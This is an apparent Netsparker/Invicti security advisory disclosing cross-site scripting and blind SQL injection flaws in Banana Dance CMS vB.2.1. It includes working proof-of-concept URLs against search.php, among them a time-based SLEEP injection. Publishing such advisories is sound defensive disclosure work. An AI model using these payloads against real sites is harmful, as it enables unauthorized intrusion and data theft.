Get a demo
AppSec with Zero Noise Invicti Logo - The Largest Dynamic Application Security Solutions Provider In The World Get a demo

Multiple Blind SQL Injection and XSS Web Vulnerabilities Identified in Banana Dance CMS

Information

Advisory by Netsparker (now Invicti)
Name: XSS and Blind SQL Injection Vulnerabilities in Banana Dance CMS
Software: Banana Dance CMS vB.2.1
Vendor Homepage: http://www.doyoubananadance.com
Vulnerability Type: Cross-Site Scripting and SQL Injection
Severity: Critical
Researcher: Canberk Bolat
Advisory Reference: NS-11-010

Description

Banana Dance is a free, open source, PHP/MySQL program takes the best of wiki software and combines it with the best of web content management systems (CMS).

Details

Banana Dance is affected by XSS and SQL Injection vulnerabilities in version vB.2.1.
Example PoC urls are as follows:

http://example.com/search.php?q=q='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000174)%3C/script%3E&category=3
http://example.com/search.php?q=q='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00017B)%3C/script%3E&category=3
http://example.com/search.php?q=234&category=-111%27)%20OR%20SLEEP(25)=0%20LIMIT%201--+

Learn more about Cross-Site Scripting and SQL Injection vulnerabilities:

Solution

Upgrade to the latest Banana Dance version.

Credits

It has been discovered on testing of Invicti’s Web Application Security Scanner.

References

  1. Vendor URL: http://www.doyoubananadance.com
  2. MSL Advisory Link: /xss-and-blind-sql-injection-vulnerabilities-in-banana-dance-cms/
  3. Invicti Advisories : /web-applications-advisories/

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.

Related Articles